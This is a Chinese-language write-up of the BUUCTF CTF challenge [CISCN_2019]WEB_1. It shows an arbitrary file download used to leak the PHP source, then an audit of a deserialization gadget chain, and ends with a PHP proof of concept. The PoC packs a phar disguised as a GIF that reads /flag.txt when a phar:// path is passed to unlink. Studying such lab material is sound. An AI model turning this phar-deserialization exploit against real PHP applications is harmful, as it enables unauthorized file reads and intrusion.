进去发现是个登入页面,注册登入

发现进入一个文件上传页面

BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_css

 

 随便上传一个文件,点击下载并且抓包

BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_php_02

 

 BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_html_03

 

 发现传入参数是文件名,猜测存在任意文件下载漏洞

BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_bootstrap_04

 

 BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_html_05

 

 发现确实存在任意文件下载漏洞,尝试看看根目录有无flag,没找到

注意这里下载不能下载带有flag字段的文件,猜测根目录有flag

尝试下载php代码审计

index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

login.php
<?php session_start(); if (isset($_SESSION['login'])) { header("Location: index.php"); die(); } ?> <!doctype html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <title>登录</title> <!-- Bootstrap core CSS --> <link href="static/css/bootstrap.min.css" rel="stylesheet"> <style> .bd-placeholder-img { font-size: 1.125rem; text-anchor: middle; } @media (min-width: 768px) { .bd-placeholder-img-lg { font-size: 3.5rem; } } </style> <!-- Custom styles for this template --> <link href="static/css/std.css" rel="stylesheet"> </head> <body class="text-center"> <form class="form-signin" action="login.php" method="POST"> <h1 class="h3 mb-3 font-weight-normal">登录</h1> <label for="username" class="sr-only">Username</label> <input type="text" name="username" class="form-control" placeholder="Username" required autofocus> <label for="password" class="sr-only">Password</label> <input type="password" name="password" class="form-control" placeholder="Password" required> <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button> <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p> <p class="text-muted">&copy; 2018-2019</p> </form> <div class="top" id="toast-container"></div> </body> <script src="static/js/jquery.min.js"></script> <script src="static/js/bootstrap.bundle.min.js"></script> <script src="static/js/toast.js"></script> </html> <?php include "class.php"; if (isset($_GET['register'])) { echo "<script>toast('注册成功', 'info');</script>"; } if (isset($_POST["username"]) && isset($_POST["password"])) { $u = new User(); $username = (string) $_POST["username"]; $password = (string) $_POST["password"]; if (strlen($username) < 20 && $u->verify_user($username, $password)) { $_SESSION['login'] = true; $_SESSION['username'] = htmlentities($username); $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION['sandbox'] = $sandbox; echo("<script>window.location.href='index.php';</script>"); die(); } echo "<script>toast('账号或密码错误', 'warning');</script>"; } ?>

 

首先审计代码估计是序列化,但是没发现哪里有unserialize函数

百度得知用phar进行反序列化

当我们用以下函数打开涉及到phar文件时会反序列化里面的序列化数据

BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_每日ctf_06

 

 

 这题主要用到unlink函数

BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_css_07

 

 下面就是寻找利用点

 

主要是看class.php里面file类里的close函数,这里有个文件读取

BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_bootstrap_08

 

 

 想办法调用它,发现user类可以调用db变量里的close函数,第一想法是让db等于file,但这样是不行的

BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_css_09

 

 

因为这样怎么输出return的文件值呢?

实际上要靠FileList的析构函数输出在表格里面
BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_html_10

 

审计可知表格里面输出的是$result

看构造函数,$result是对$ file执行funcs的结果

BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_bootstrap_11

 

 那就想办法让$file等于file类,funcs等于的close方法即可

因为user类析构方法调用db里的close函数,让db等于filelist,但是filelist里面没有close方法,就会调用__call方法。

对$file变量中每一个值执行close函数,那么让$file变量(一个数组)含有file类即可

poc如下(对phar进行了打包)

<?php
    @unlink('phar.gif');
    
    class User {
        public $db;
        public function __construct() {
            $this->db = new FileList();
        }
    }
    class FileList {
        private $files;
        public function __construct() {
            $this->files = array(new File());
        }
    }
    class File {
        public $filename = '/flag.txt';
    }
    
    $phar = new Phar('phar.phar');
    $phar->setStub('GIF89a'.'__HALT_COMPILER();');
    $phar->setMetadata(new User());
    $phar->addFromString('1.txt','1');
    rename('phar.phar','phar.gif');
?>

上传成功后点击,删除抓包

BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_每日ctf_12

 

 加上phar伪协议

BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar_bootstrap_13